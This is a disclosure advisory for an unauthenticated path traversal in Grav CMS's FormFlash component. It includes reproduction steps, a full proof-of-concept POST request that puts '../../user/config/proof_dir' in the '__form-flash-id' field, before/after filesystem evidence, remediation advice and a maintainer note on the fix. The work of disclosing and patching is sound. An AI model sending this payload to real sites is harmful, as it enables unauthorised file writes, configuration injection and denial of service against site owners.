CVE-2026-42608

# Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write **[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection** ## Summary Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as `__form-flash-id` in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an `index.yaml` file containing attacker-controlled data. This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments. ## Affected Component - Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026). - Class: `Grav\Framework\Form\FormFlash` - Method: `__construct()` / `getTmpDir()` - Parameter: `session_id` (Mapped to `__form-flash-id` in POST requests) ## Vulnerability Details The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source: ```php $folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : ''); $this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder; ``` Lack of sanitization on the sessionId (the raw session identifier) allows the use of `../` sequences. When `findResource` resolves the stream, it allows escape into any writable directory within the webserver's scope (typically `user/config/`, `cache/`, `logs/`, and `tmp/`). ## Affected Versions & Zero-Day Status - Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025). - Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched. - Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions). - CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal. ## Steps to Reproduce 1. Identify any page containing a Grav Form (e.g., `/contact`). 2. Intercept the POST request during form submission. 3. Modify the `__form-flash-id` parameter to include a traversal sequence targeting a writable directory (e.g., `../../user/config/proof_dir`). 4. Submit the request. 5. Observe that a new directory (`poc/`) and file (`index.yaml`) have been created at the traversed path. ## Request Example ```http POST /contact HTTP/1.1 Host: target.grav.cms Content-Type: application/x-www-form-urlencoded __form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=Payload ``` ## Response / Result - HTTP/1.1 302 Found (Standard redirect) - Filesystem Modification: - Directory Created: `/var/www/html/user/config/proof_dir/poc/` - File Created: `/var/www/html/user/config/proof_dir/poc/index.yaml` ## Proof of Concept Evidence (Before/After) ### Before Exploitation - Status: Directory does not exist. - Evidence: ```bash $ ls -la /var/www/html/user/config/proof_dir/ ls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directory ``` ### After Exploitation - Status: Arbitrary directory and `index.yaml` created. - Evidence: ```bash $ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml -rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml $ cat /var/www/html/user/config/proof_dir/poc/index.yaml form: '' id: '' unique_id: poc ... data: poc_status: confirmed ``` ## Impact - Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation. - Configuration Injection: Writing `index.yaml` into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings. - Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses. - Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion). ## Attack Requirements - Authentication: None (Unauthenticated) - Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration) ## Exploitability Assessment - Complexity: Low. Requires only basic HTTP POST parameters. - Reliability: 100% (Deterministically reproducible in vulnerable versions). - Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption. ## Remediation 1. Sanitize Session IDs: Apply `basename()` or a strict alphanumeric regex to the `session_id` in FormFlash before path construction. 2. Filesystem Hardening: Ensure `user/config/` and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories. 3. Update Grav: Monitor for patches addressing FormFlash sanitization. --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**. **What changed:** `FormFlash::__construct()` now sanitizes `session_id`, `unique_id`, and `id` through a strict `[A-Za-z0-9,_-]{1,64}` allowlist before any path is constructed from them. Invalid values collapse to `''`, which causes `save()`/`delete()`/`getTmpDir()` to no-op — so a `__form-flash-id=../../user/config/proof_dir` POST simply does nothing on disk. **Files:** - [`system/src/Grav/Framework/Form/FormFlash.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Form/FormFlash.php) - [`tests/unit/Grav/Common/Security/FormFlashSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FormFlashSecurityTest.php) — 32 test cases covering the PoC + variants.